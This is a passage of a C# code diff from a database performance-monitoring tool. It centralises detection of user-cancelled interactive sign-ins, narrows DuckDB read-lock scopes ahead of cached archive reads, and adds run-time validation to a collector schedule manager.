+                await conn.OpenAsync(openCancellation?.Token ?? cancellationToken);
+                return conn;
+            }
+            catch (Exception ex)
+            {
+                conn.Dispose();
+
+                /* A declined sign-in is flagged so the opens queued behind this one stop instead of each raising a prompt of
+                   its own, and it is decided as CreateConnectionAsync decides it, by the same helper, for either interactive
+                   mode: an Entra MFA sign-in the user cancelled in the browser is as much a decline as a closed code window. */
+                if (signsInInteractively && UserDeclinedSignIn(ex, deviceCode, cancellationToken))
+                {
+                    _serverManager.GetConnectionStatus(server.Id).UserCancelledMfa = true;
+                    AppLogger.Info("Collector", $"  [{server.DisplayName}] interactive authentication cancelled by user - flagging to abort other pending connections");
+                }
+
+                throw;
+            }
         }
-        catch
+        finally
         {
-            conn.Dispose();
-            throw;
+            if (signInLockHeld)
+            {
+                s_mfaAuthLock.Release();
+            }
         }
     }
 
+    /// <summary>
+    /// The registration's own connection string. It is resolved here, in the file whose opens handle a device-code sign-in, so a
+    /// partial that needs the string beside a connection it does not open reads it through here instead of resolving it again
+    /// (#4961). The long-query trace's test seam is one.
+    /// </summary>
+    protected string RegistrationConnectionString(ServerConnection server) =>
+        _serverManager.CredentialResolver.GetConnectionString(server);
+
     /// <summary>
     /// Creates a SQL connection to a remote server.
     /// Throws InvalidOperationException if an interactive sign-in was cancelled by the user.
@@ -1384,22 +1639,10 @@ the previous one may already be spent or expired - and disposing the previous
                     if (isInteractiveServer)
                     {
                         /* Mark a user-declined sign-in immediately, so the other connections queued
-                           behind the lock abort instead of each raising their own prompt.
-
-                           Two detections, because the two interactive modes fail differently. Entra
-                           MFA reports cancellation in the exception MESSAGE, which is all the broker
-                           gives. Device code reports it as the cancellation of the token above - and
-                           the collector's own token is linked into that same source, so the token
-                           alone cannot say which side fired. A shutdown is not a decline: flagging
-                           one would leave the server skipped for the rest of the session over an app
-                           restart nobody chose. */
-                        var userDeclined =
-                            MfaAuthenticationHelper.IsMfaCancelledException(ex) ||
-                            (deviceCode is not null
-                                && deviceCode.Token.IsCancellationRequested
-                                && !cancellationToken.IsCancellationRequested);
-
-                        if (userDeclined)
+                           behind the lock abort instead of each raising their own prompt. What counts
+                           as a decline is decided in UserDeclinedSignIn, which the per-database open
+                           asks too. */
+                        if (UserDeclinedSignIn(ex, deviceCode, cancellationToken))
                         {
                             var serverStatus = _serverManager.GetConnectionStatus(server.Id);
                             serverStatus.UserCancelledMfa = true;
@@ -1426,6 +1669,25 @@ against a server that is down. Success returns the open connection to the caller
         }
     }
 
+    /// <summary>
+    /// Whether an interactive open that failed failed because the user declined the sign-in. Both opens that can raise a prompt,
+    /// <see cref="CreateConnectionAsync"/> and <see cref="OpenAzureDatabaseConnectionAsync"/>, ask it here, so what counts as a
+    /// decline cannot differ between them (#4961).
+    ///
+    /// Two detections, because the two interactive modes fail differently. Entra MFA reports cancellation in the exception
+    /// MESSAGE, which is all the broker gives. Device code reports it as the cancellation of the prompt's own token - and the
+    /// collector's own token is linked into the same source the open waits on, so the token the open threw on cannot say which
+    /// side fired. A shutdown is not a decline: flagging one would leave the server skipped for the rest of the session over an
+    /// app restart nobody chose.
+    /// </summary>
+    private static bool UserDeclinedSignIn(Exception ex, EntraDeviceCodeAttempt? deviceCode, CancellationToken cancellationToken)
+    {
+        return MfaAuthenticationHelper.IsMfaCancelledException(ex) ||
+            (deviceCode is not null
+                && deviceCode.Token.IsCancellationRequested
+                && !cancellationToken.IsCancellationRequested);
+    }
+
     /// <summary>
     /// Runs one connect operation under <see cref="RetryHelper"/>, holding <paramref name="throttle"/> for
     /// each attempt and for nothing else: a slot is taken at the top of every attempt and given back in a
@@ -1530,19 +1792,23 @@ protected internal static int GetServerId(ServerConnection server)
     {
         try
         {
-            // Read lock (#4343): a plain SELECT, cancelable since this method already carries the token.
-            using var readLock = _duckDb.AcquireReadLock(cancellationToken);
-            using var conn = _duckDb.CreateConnection();
-            await conn.OpenAsync(cancellationToken);
-            using var cmd = conn.CreateCommand();
-            cmd.CommandText = $"SELECT MAX({columnName}) FROM {tableName} WHERE server_id = $1";
-            cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
-            var result = await cmd.ExecuteScalarAsync(cancellationToken);
-            var live = result is DateTime dt ? dt : (DateTime?)null;
+            DateTime? live;
+            // Read lock (#4343): a plain SELECT, cancelable since this method already carries the token. Its
+            // scope ends before the archive read (#5377): that read takes the limiter first, then its own lock.
+            using (var readLock = _duckDb.AcquireReadLock(cancellationToken))
+            {
+                using var conn = _duckDb.CreateConnection();
+                await conn.OpenAsync(cancellationToken);
+                using var cmd = conn.CreateCommand();
+                cmd.CommandText = $"SELECT MAX({columnName}) FROM {tableName} WHERE server_id = $1";
+                cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
+                var result = await cmd.ExecuteScalarAsync(cancellationToken);
+                live = result is DateTime dt ? dt : (DateTime?)null;
+            }
 
             // The archive's maximum (cached per generation) always joins the live one: a hole fill or a late
             // row can leave live non-null but OLDER than what the reset moved into Parquet.
-            var archived = await ReadArchiveViewAsync(conn,
+            var archived = await ReadArchiveViewAsync(
                 $"time|{tableName}|{columnName}|{serverId}",
                 $"SELECT MAX({columnName}) FROM v_{tableName} WHERE server_id = $1",
                 [serverId], cancellationToken);
@@ -1619,16 +1885,17 @@ private void LogWatermarkReadFailure(string read, string tableName, int serverId
     {
         try
         {
-            // Read lock (#4343): a plain SELECT, cancelable since this method already carries the token.
-            using var readLock = _duckDb.AcquireReadLock(cancellationToken);
-            using var conn = _duckDb.CreateConnection();
-            await conn.OpenAsync(cancellationToken);
-            using var cmd = conn.CreateCommand();
-            cmd.CommandText = $"SELECT MAX({utcColumnName}), MAX({columnName}) FROM {tableName} WHERE server_id = $1";
-            cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
             DateTime? liveUtc = null, liveLocal = null;
-            using (var reader = await cmd.ExecuteReaderAsync(cancellationToken))
+            // Read lock (#4343): a plain SELECT, cancelable since this method already carries the token. Its
+            // scope ends before the archive read (#5377): that read takes the limiter first, then its own lock.
+            using (var readLock = _duckDb.AcquireReadLock(cancellationToken))
             {
+                using var conn = _duckDb.CreateConnection();
+                await conn.OpenAsync(cancellationToken);
+                using var cmd = conn.CreateCommand();
+                cmd.CommandText = $"SELECT MAX({utcColumnName}), MAX({columnName}) FROM {tableName} WHERE server_id = $1";
+                cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
+                using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
                 if (await reader.ReadAsync(cancellationToken))
                 {
                     liveUtc = reader.IsDBNull(0) ? null : reader.GetDateTime(0);
@@ -1637,7 +1904,7 @@ private void LogWatermarkReadFailure(string read, string tableName, int serverId
             }
 
             // The archive's pair (cached per generation) joins the live pair column by column.
-            var archived = await ReadArchiveViewAsync(conn,
+            var archived = await ReadArchiveViewAsync(
                 $"frame|{tableName}|{columnName}|{utcColumnName}|{serverId}",
                 $"SELECT MAX({utcColumnName}), MAX({columnName}) FROM v_{tableName} WHERE server_id = $1",
                 [serverId], cancellationToken, readRow: ReadDatePair);
@@ -1676,13 +1943,31 @@ private void LogWatermarkReadFailure(string read, string tableName, int serverId
     /// <para>The floor is a SEMANTIC bound, not only a performance one: #2344's contract is that a database with
     /// no row newer than the floor reads NULL. The callers act on the raw value (a clamp warning and a recorded
     /// backfill hole whenever it differs from the clamped one), so an idle database must not return an old
-    /// non-NULL value every cycle. The live read keeps the bound. The archive side first reads the cached
-    /// unbounded per-database maximum A over <c>v_{table}</c> (one entry per (server, database) and archive
-    /// generation; a floor in the key would grow the cache without bound). With no floor, or A above the floor,
-    /// the GREATER of the live and A is returned, which is exact: the row reaching A has collection_time at or
-    /// above last_execution_time = A, which is above the floor. When A is at or below the floor, or absent, the
-    /// floored view SQL runs uncached and its result competes with the live one, which is exactly the floored
-    /// answer over live and archived rows.</para>
+    /// non-NULL value every cycle. The live read keeps the bound.</para>
+    ///
+    /// <para><b>The archive side (#5377).</b> One grouped read per (table, column, database column) and archive
+    /// generation, <c>SELECT server_id, db, MAX(col), MAX(collection_time) FROM v_{table} GROUP BY server_id, db</c>,
+    /// is cached as a map and serves every database of every server: N databases cost one archive scan, not N,
+    /// and concurrent first callers share it. (It is whole-table rather than per-server because the scan reads
+    /// the same columns either way and a store with several servers pays for it once instead of once each.) A
+    /// database the map lacks reads NULL, exactly what the per-database MAX returned. Call the map's maximum A
+    /// and its newest collection C. With no floor, or A above the floor, the GREATER of the live and A is
+    /// returned, which is exact: the row reaching A has collection_time at or above last_execution_time = A,
+    /// which is above the floor.</para>
+    ///
+    /// <para><b>The floored archive read cannot always be dropped.</b> When A is at or below the floor, the
+    /// floored answer is the greatest value among archived rows with collection_time above the floor, and such a
+    /// row can exist: a value is at or below its own collection_time, not the other way round, so a row
+    /// collected just after the floor can carry an older value (A is below the floor, the row's value lower
+    /// still), and the live read returns that same non-NULL value for a live row. Dropping the archive read
+    /// would make the answer depend on whether the reset had run. It IS redundant in two cases, and those skip
+    /// the read: A is NULL (no archived row carries a value at all, and Parquet only changes with the
+    /// generation), and C is at or below the floor (no archived row is that recent). Only the remaining band
+    /// reads (an archived row collected within the floor's window whose value is older than the floor, which a
+    /// database that went idle shortly before an archive can leave for a few hours): the view's rows collected
+    /// after the floor rounded down to the hour, as (collection_time, value) pairs, cached per generation with
+    /// the hour as the entry's variant, so the entry is overwritten each hour rather than growing. The exact
+    /// floor is then applied in memory, so the answer is exactly the floored one.</para>
     /// </summary>
     protected async Task<DateTime?> GetLastCollectedTimeForDatabaseAsync(
         int serverId, string tableName, string columnName, string databaseColumnName, string databaseName,
@@ -1690,42 +1975,44 @@ private void LogWatermarkReadFailure(string read, string tableName, int serverId
     {
         try
         {
-            // Read lock (#4343): a plain SELECT, cancelable since this method already carries the token.
-            using var readLock = _duckDb.AcquireReadLock(cancellationToken);
-            using var conn = _duckDb.CreateConnection();
-            await conn.OpenAsync(cancellationToken);
-            using var cmd = conn.CreateCommand();
-            cmd.CommandText = collectedSince is null
-                ? $"SELECT MAX({columnName}) FROM {tableName} WHERE server_id = $1 AND {databaseColumnName} = $2"
-                : $"SELECT MAX({columnName}) FROM {tableName} WHERE server_id = $1 AND {databaseColumnName} = $2 AND collection_time > $3";
-            cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
-            cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = databaseName });
-            if (collectedSince is DateTime floor)
+            DateTime? live;
+            // Read lock (#4343): a plain SELECT, cancelable since this method already carries the token. Its
+            // scope ends before the archive reads (#5377): they take the limiter first, then their own lock.
+            using (var readLock = _duckDb.AcquireReadLock(cancellationToken))
             {
-                cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = floor });
+                using var conn = _duckDb.CreateConnection();
+                await conn.OpenAsync(cancellationToken);
+                using var cmd = conn.CreateCommand();
+                cmd.CommandText = collectedSince is null
+                    ? $"SELECT MAX({columnName}) FROM {tableName} WHERE server_id = $1 AND {databaseColumnName} = $2"
+                    : $"SELECT MAX({columnName}) FROM {tableName} WHERE server_id = $1 AND {databaseColumnName} = $2 AND collection_time > $3";
+                cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
+                cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = databaseName });
+                if (collectedSince is DateTime floor)
+                {
+                    cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = floor });
+                }
+
+                var result = await cmd.ExecuteScalarAsync(cancellationToken);
+                live = result is DateTime dt ? dt : (DateTime?)null;
             }
 
-            var result = await cmd.ExecuteScalarAsync(cancellationToken);
-            var live = result is DateTime dt ? dt : (DateTime?)null;
-
-            // The archive side: the cached unbounded per-database maximum A, one entry per (server, database)
-            // however the floor moves. A above the floor (or no floor) is exact for the floored question too:
-            // the row that reaches A has collection_time >= last_execution_time = A > floor, so the floored
-            // MAX is A. A at or below the floor (or no archive value) means the floored answer over live ∪
-            // archive is NULL or no better than the live floored read, so run the floored view SQL uncached.
-            var archived = await ReadArchiveViewAsync(conn,
-                $"db|{tableName}|{columnName}|{databaseColumnName}|{serverId}|{databaseName}",
-                $"SELECT MAX({columnName}) FROM v_{tableName} WHERE server_id = $1 AND {databaseColumnName} = $2",
-                [serverId, databaseName], cancellationToken) as DateTime?;
-            if (collectedSince is DateTime since && (archived is null || archived.Value <= since))
+            // The archive side (#5377): this database's entry in the per-table map, one grouped archive read per
+            // generation for every database. A database the map lacks has no archived row: NULL, as before.
+            var map = await ReadArchivedDatabaseMapAsync(tableName, columnName, databaseColumnName, cancellationToken);
+            map.TryGetValue((serverId, databaseName), out var entry);
+            var archived = entry.Maximum;
+
+            // A above the floor (or no floor) is exact for the floored question too: the row that reaches A has
+            // collection_time >= last_execution_time = A > floor, so the floored MAX is A. A NULL, or a newest
+            // archived collection at or below the floor, means no archived row can qualify (Parquet changes only
+            // with the generation, and live rows are the live read's). Only A at or below the floor with a row
+            // collected after it needs the floored rows; see the method remarks.
+            if (collectedSince is DateTime since && archived is not null && archived.Value <= since)
             {
-                using var floored = conn.CreateCommand();
-                floored.CommandText = $"SELECT MAX({columnName}) FROM v_{tableName} WHERE server_id = $1 AND {databaseColumnName} = $2 AND collection_time > $3";
-                floored.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
-                floored.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = databaseName });
-                floored.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = since });
-                var flooredResult = await floored.ExecuteScalarAsync(cancellationToken);
-                archived = flooredResult is DateTime fdt ? fdt : null;
+                archived = entry.NewestCollection is DateTime newest && (newest > since)
+                    ? await ReadFlooredArchiveAsync(serverId, tableName, columnName, databaseColumnName, databaseName, since, cancellationToken)
+                    : null;
             }
             return GreaterOf(live, archived);
         }
@@ -1737,6 +2024,88 @@ private void LogWatermarkReadFailure(string read, string tableName, int serverId
         return null;
     }
 
+    /// <summary>One database's archived watermark: its newest value and the newest collection time of its rows,
+    /// plus the oldest of each, which the Query Store backfill's floor read takes from the same grouped read.</summary>
+    private readonly record struct ArchivedDatabaseWatermark(
+        DateTime? Maximum, DateTime? NewestCollection, DateTime? OldestCollection, DateTime? OldestValue);
+
+    /// <summary>
+    /// The per-table map behind <see cref="GetLastCollectedTimeForDatabaseAsync"/> (#5377): for every (server,
+    /// database) in <c>v_{table}</c>, the maximum of the watermark column and the newest collection time, from
+    /// ONE grouped read per archive generation, cached under a key with no server or database in it. Keys compare
+    /// ordinally, like DuckDB's VARCHAR equality; a NULL database never matches a lookup, so it is not stored.
+    /// </summary>
+    private async Task<Dictionary<(int ServerId, string Database), ArchivedDatabaseWatermark>> ReadArchivedDatabaseMapAsync(
+        string tableName, string columnName, string databaseColumnName, CancellationToken cancellationToken)
+    {
+        var map = await ReadArchiveAsync(
+            $"dbmap|{tableName}|{columnName}|{databaseColumnName}", 0,
+            async (conn, token) =>
+            {
+                using var cmd = conn.CreateCommand();
+                cmd.CommandText =
+                    $"SELECT server_id, {databaseColumnName}, MAX({columnName}), MAX(collection_time), MIN(collection_time), MIN({columnName}) FROM v_{tableName} GROUP BY server_id, {databaseColumnName}";
+                var rows = new Dictionary<(int ServerId, string Database), ArchivedDatabaseWatermark>();
+                using var reader = await cmd.ExecuteReaderAsync(token);
+                while (await reader.ReadAsync(token))
+                {
+                    if (reader.IsDBNull(0) || reader.IsDBNull(1))
+                        continue;
+                    rows[(Convert.ToInt32(reader.GetValue(0)), reader.GetString(1))] = new ArchivedDatabaseWatermark(
+                        reader.GetValue(2) is DateTime maximum ? maximum : null,
+                        reader.GetValue(3) is DateTime newest ? newest : null,
+                        reader.GetValue(4) is DateTime oldestCollection ? oldestCollection : null,
+                        reader.GetValue(5) is DateTime oldestValue ? oldestValue : null);
+                }
+
+                return rows;
+            }, cancellationToken);
+        return (Dictionary<(int ServerId, string Database), ArchivedDatabaseWatermark>)map!;
+    }
+
+    /// <summary>
+    /// The floored archive answer for the one band the map cannot settle (#5377): the greatest value among the
+    /// view's rows for this database collected after <paramref name="since"/>. The read takes the rows after the
+    /// floor ROUNDED DOWN to the hour, as (collection_time, value) pairs, and caches them per generation under a
+    /// key with no floor in it, the hour as the entry's variant; the exact floor then filters them in memory, so
+    /// the answer is exactly what the floored view SQL returned each cycle, while the read itself runs once per
+    /// database per hour and generation.
+    /// </summary>
+    private async Task<DateTime?> ReadFlooredArchiveAsync(
+        int serverId, string tableName, string columnName, string databaseColumnName, string databaseName,
+        DateTime since, CancellationToken cancellationToken)
+    {
+        var bucket = new DateTime(since.Ticks - since.Ticks % TimeSpan.TicksPerHour, since.Kind);
+        var rows = await ReadArchiveAsync(
+            $"dbfloor|{tableName}|{columnName}|{databaseColumnName}|{serverId}|{databaseName}", bucket.Ticks,
+            async (conn, token) =>
+            {
+                using var cmd = conn.CreateCommand();
+                cmd.CommandText =
+                    $"SELECT collection_time, MAX({columnName}) FROM v_{tableName} WHERE server_id = $1 AND {databaseColumnName} = $2 AND collection_time > $3 GROUP BY collection_time";
+                cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
+                cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = databaseName });
+                cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = bucket });
+                var pairs = new List<(DateTime Collected, DateTime Value)>();
+                using var reader = await cmd.ExecuteReaderAsync(token);
+                while (await reader.ReadAsync(token))
+                {
+                    if (!reader.IsDBNull(0) && reader.GetValue(1) is DateTime value)
+                        pairs.Add((reader.GetDateTime(0), value));
+                }
+
+                return pairs.ToArray();
+            }, cancellationToken);
+
+        DateTime? greatest = null;
+        foreach (var (collected, value) in (rows as (DateTime Collected, DateTime Value)[]) ?? [])
+        {
+            if (collected > since && (greatest is null || value > greatest.Value))
+                greatest = value;
+        }
+        return greatest;
+    }
+
     /// <summary>
     /// Gets the most recent value of a monotonic bigint identity column from DuckDB for incremental
     /// collection — the numeric twin of <see cref="GetLastCollectedTimeAsync"/> (job_history dedups on
@@ -1762,23 +2131,24 @@ private void LogWatermarkReadFailure(string read, string tableName, int serverId
     {
         try
         {
-            // Read lock (#4343): a plain SELECT, cancelable since this method already carries the token.
-            using var readLock = _duckDb.AcquireReadLock(cancellationToken);
-            using var conn = _duckDb.CreateConnection();
-            await conn.OpenAsync(cancellationToken);
-            using var cmd = conn.CreateCommand();
-            cmd.CommandText = $"SELECT collection_time, MAX({columnName}) FROM {tableName} WHERE server_id = $1 "
-                + $"AND collection_time = (SELECT MAX(collection_time) FROM {tableName} WHERE server_id = $1) GROUP BY collection_time";
-            cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
             (DateTime BatchTime, long Id)? live = null;
-            using (var reader = await cmd.ExecuteReaderAsync(cancellationToken))
+            // Read lock (#4343): a plain SELECT, cancelable since this method already carries the token. Its
+            // scope ends before the archive read (#5377): that read takes the limiter first, then its own lock.
+            using (var readLock = _duckDb.AcquireReadLock(cancellationToken))
             {
+                using var conn = _duckDb.CreateConnection();
+                await conn.OpenAsync(cancellationToken);
+                using var cmd = conn.CreateCommand();
+                cmd.CommandText = $"SELECT collection_time, MAX({columnName}) FROM {tableName} WHERE server_id = $1 "
+                    + $"AND collection_time = (SELECT MAX(collection_time) FROM {tableName} WHERE server_id = $1) GROUP BY collection_time";
+                cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
+                using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
                 if (await reader.ReadAsync(cancellationToken) && !reader.IsDBNull(0) && !reader.IsDBNull(1))
                     live = (reader.GetDateTime(0), Convert.ToInt64(reader.GetValue(1)));
             }
 
             // The archive's newest batch (cached per generation) competes with the live one on batch time.
-            var archivedRow = await ReadArchiveViewAsync(conn,
+            var archivedRow = await ReadArchiveViewAsync(
                 $"id|{tableName}|{columnName}|{serverId}",
                 $"SELECT collection_time, MAX({columnName}) FROM v_{tableName} WHERE server_id = $1 "
                     + $"AND collection_time = (SELECT MAX(collection_time) FROM v_{tableName} WHERE server_id = $1) GROUP BY collection_time",
@@ -1814,20 +2184,23 @@ protected async Task<bool> HasPriorCollectorSuccessAsync(int serverId, string co
     {
         try
         {
-            // Read lock (#4343): a plain SELECT, cancelable since this method already carries the token.
-            using var readLock = _duckDb.AcquireReadLock(cancellationToken);
-            using var conn = _duckDb.CreateConnection();
-            await conn.OpenAsync(cancellationToken);
-            using var cmd = conn.CreateCommand();
-            cmd.CommandText = "SELECT COUNT(*) FROM collection_log WHERE server_id = $1 AND collector_name = $2 AND status = 'SUCCESS'";
-            cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
-            cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = collectorName });
-            var result = await cmd.ExecuteScalarAsync(cancellationToken);
-            if (result is not null && result != DBNull.Value && Convert.ToInt64(result) > 0)
-                return true;
+            // Read lock (#4343): a plain SELECT, cancelable since this method already carries the token. Its
+            // scope ends before the archive read (#5377): that read takes the limiter first, then its own lock.
+            using (var readLock = _duckDb.AcquireReadLock(cancellationToken))
+            {
+                using var conn = _duckDb.CreateConnection();
+                await conn.OpenAsync(cancellationToken);
+                using var cmd = conn.CreateCommand();
+                cmd.CommandText = "SELECT COUNT(*) FROM collection_log WHERE server_id = $1 AND collector_name = $2 AND status = 'SUCCESS'";
+                cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
+                cmd.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = collectorName });
+                var result = await cmd.ExecuteScalarAsync(cancellationToken);
+                if (result is not null && result != DBNull.Value && Convert.ToInt64(result) > 0)
+                    return true;
+            }
 
             // No SUCCESS row in the live log: the reset archives collection_log too, so ask its view.
-            var archived = await ReadArchiveViewAsync(conn,
+            var archived = await ReadArchiveViewAsync(
                 $"success|{serverId}|{collectorName}",
                 "SELECT COUNT(*) FROM v_collection_log WHERE server_id = $1 AND collector_name = $2 AND status = 'SUCCESS'",
                 [serverId, collectorName], cancellationToken);
@@ -1860,16 +2233,26 @@ protected async Task<bool> HasPriorCollectorSuccessAsync(int serverId, string co
     /// <para><b>The generation rule:</b> the answer is cached per archive generation
     /// (<see cref="DuckDbInitializer.ArchiveViewGeneration"/>), including a null answer, so the Parquet files
     /// are not scanned every cycle. Callers key it by the read's identity, never by a moving bound, so the
-    /// cache stays bounded. The generation is sampled before the view is
-    /// queried. The caller holds the read lock and passes its open connection. <paramref name="readRow"/>
-    /// turns the first row of a multi-column read into the cached value.</para>
+    /// cache stays bounded. The generation is sampled before the view is queried.</para>
+    ///
+    /// <para><b>Lock order (#5377): the caller holds NO lock when it calls this.</b> A cache hit takes none. A
+    /// miss takes a slot of the shared <see cref="ArchiveReadLimiter"/> FIRST, then the database read lock,
+    /// opens its own connection, reads, and releases the read lock and then the slot. A read that waits for a
+    /// slot therefore never holds the read lock, which a held read lock would turn into a stall for the
+    /// CHECKPOINT writer and every reader parked behind it. Callers do their live read in a lock scope of its
+    /// own and call this after it ends. <b>Every caller reads live FIRST</b> (the archive generation is sampled
+    /// in here, after it): the archive-and-reset moves rows from the live table to Parquet and bumps the
+    /// generation inside ONE write lock, so a move that lands before the live read has bumped the generation
+    /// before the sample (the view is re-read and holds the rows), and a move that lands after the sample was
+    /// already seen by the live read. No row is missing from both answers. Reading live AFTER this call loses
+    /// that guarantee (the cache-hit path takes no lock). Concurrent misses on one key share one read (see
+    /// <see cref="ArchiveWatermarkCache"/>).
+    /// <paramref name="readRow"/> turns the first row of a multi-column read into the cached value.</para>
     /// </summary>
-    private async Task<object?> ReadArchiveViewAsync(
-        DuckDB.NET.Data.DuckDBConnection conn, string cacheKey, string viewSql, object[] parameters,
-        CancellationToken cancellationToken, Func<System.Data.Common.DbDataReader, object?>? readRow = null)
-    {
-        var generation = _duckDb.ArchiveViewGeneration;
-        return await _archiveWatermarks.GetOrReadAsync(cacheKey, generation, async () =>
+    private Task<object?> ReadArchiveViewAsync(
+        string cacheKey, string viewSql, object[] parameters,
+        CancellationToken cancellationToken, Func<System.Data.Common.DbDataReader, object?>? readRow = null) =>
+        ReadArchiveAsync(cacheKey, 0, async (conn, token) =>
         {
             using var cmd = conn.CreateCommand();
             cmd.CommandText = viewSql;
@@ -1878,13 +2261,38 @@ protected async Task<bool> HasPriorCollectorSuccessAsync(int serverId, string co
             if (readRow is not null)
             {
                 // A multi-column read: the delegate turns the first row (or none) into the cached value.
-                using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
-                return await reader.ReadAsync(cancellationToken) ? readRow(reader) : null;
+                using var reader = await cmd.ExecuteReaderAsync(token);
+                return await reader.ReadAsync(token) ? readRow(reader) : null;
             }
 
-            var result = await cmd.ExecuteScalarAsync(cancellationToken);
+            var result = await cmd.ExecuteScalarAsync(token);
             return result == DBNull.Value ? null : result;
-        });
+        }, cancellationToken);
+
+    /// <summary>
+    /// The lock-taking core of <see cref="ReadArchiveViewAsync"/>: serves <paramref name="cacheKey"/> from the
+    /// cache, or runs <paramref name="read"/> on an open connection once, under the limiter and then the read
+    /// lock. <paramref name="variant"/> is the bucket of a slowly moving bound the answer depends on (see
+    /// <see cref="ArchiveWatermarkCache"/>).
+    /// </summary>
+    private async Task<object?> ReadArchiveAsync(
+        string cacheKey, long variant,
+        Func<DuckDB.NET.Data.DuckDBConnection, CancellationToken, Task<object?>> read, CancellationToken cancellationToken)
+    {
+        var generation = _duckDb.ArchiveViewGeneration;
+        ArchiveGenerationSampledForTests?.Invoke();
+        return await _archiveWatermarks.GetOrReadAsync(cacheKey, generation, async () =>
+        {
+            using var slot = await _archiveReadLimiter.EnterAsync(cancellationToken);
+            ArchiveReadStepForTests?.Invoke("limiter");
+            using var readLock = _duckDb.AcquireReadLock(cancellationToken);
+            ArchiveReadStepForTests?.Invoke("readlock");
+            using var conn = _duckDb.CreateConnection();
+            await conn.OpenAsync(cancellationToken);
+            ArchiveReadStepForTests?.Invoke("read");
+            Interlocked.Increment(ref _archiveViewReads);
+            return await read(conn, cancellationToken);
+        }, variant, cancellationToken);
     }
 
     /// <summary>Row shape for the two-column twin read: (UTC twin maximum, declared column maximum), either may be null.</summary>
diff --git a/Lite/Services/ScheduleManager.cs b/Lite/Services/ScheduleManager.cs
index 96fb8cdbec..233166e75b 100644
--- a/Lite/Services/ScheduleManager.cs
+++ b/Lite/Services/ScheduleManager.cs
@@ -8,11 +8,13 @@
 
 using System;
 using System.Collections.Generic;
+using System.Globalization;
 using System.IO;
 using System.Linq;
 using System.Text.Json;
 using System.Text.Json.Serialization;
 using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitorLite.Models;
 
@@ -108,6 +110,16 @@ public class ScheduleManager
     /// </summary>
     private readonly Dictionary<string, Dictionary<string, DateTime>> _serverRunState = new();
 
+    /// <summary>#4938: what a run time needs to know about each server: the stable id its spread is taken from, the
+    /// name a warning shows, and the server's clock (null until a server_properties row has been read, when the run
+    /// time reads as UTC). Set by RemoteCollectorService.</summary>
+    private readonly Dictionary<string, RunTimeServer> _runTimeServers = new();
+
+    /// <summary>#4938: the ignored run times already warned about, so a bad value logs once, not every cycle.</summary>
+    private readonly HashSet<string> _warnedRunTimes = new();
+
+    private sealed record RunTimeServer(int StorageId, string Name, ServerClock? Clock);
+
     public ScheduleManager(string configDirectory, ILogger<ScheduleManager>? logger = null)
     {
         _schedulePath = Path.Combine(configDirectory, "collection_schedule.json");
@@ -125,7 +137,8 @@ public ScheduleManager(string configDirectory, ILogger<ScheduleManager>? logger
     /// <summary>
     /// Updates a collector's schedule settings (default schedule).
     /// </summary>
-    public void UpdateSchedule(string collectorName, bool? enabled = null, int? frequencyMinutes = null, int? retentionDays = null)
+    public void UpdateSchedule(string collectorName, bool? enabled = null, int? frequencyMinutes = null, int? retentionDays = null,
+        string? runAt = null, bool changeRunAt = false)
     {
         lock (_lock)
         {
@@ -144,6 +157,15 @@ public void UpdateSchedule(string collectorName, bool? enabled = null, int? freq
                 throw new InvalidOperationException(frequencyError);
             }
 
+            /* #4938: the run time that will stand after this update (the one passed, null clearing it, or the one already
+               set) must fit the frequency that will stand, so changing a daily collector to hourly while it has a run
+               time is refused with the editor's text instead of leaving a run time that is then ignored. */
+            var standingRunAt = changeRunAt ? NormalizeRunAt(runAt) : schedule.RunAt;
+            if (RunAtError(collectorName, frequencyMinutes ?? schedule.FrequencyMinutes, standingRunAt) is string runAtError)
+            {
+                throw new InvalidOperationException(runAtError);
+            }
+
             if (enabled.HasValue)
             {
                 schedule.Enabled = enabled.Value;
@@ -159,6 +181,11 @@ public void UpdateSchedule(string collectorName, bool? enabled = null, int? freq
                 schedule.RetentionDays = retentionDays.Value;
             }
 
+            if (changeRunAt)
+            {
+                schedule.RunAt = standingRunAt;
+            }
+
             SaveSchedules();
 
             _logger?.LogInformation("Updated schedule for collector '{Name}': Enabled={Enabled}, Frequency={Frequency}m, Retention={Retention}d",
@@ -217,8 +244,12 @@ public IReadOnlyList<CollectorSchedule> GetSchedulesForServer(string serverId)
     /// substitution Darling's worker makes, so a server tab left open for weeks still re-captures its config
     /// snapshot (#3930) and a trace flag turned off since the last connect eventually clears (#3929) instead of
     /// only on the next reconnect. The tab-open path (<see cref="RemoteCollectorService.RunAllCollectorsForServerAsync"/>)
-    /// still runs every enabled collector unconditionally (on-load included), so the on-connect capture is
-    /// unchanged.</para>
+    /// still runs every on-load collector (the on-connect capture is unchanged), but since #4938 it takes its other
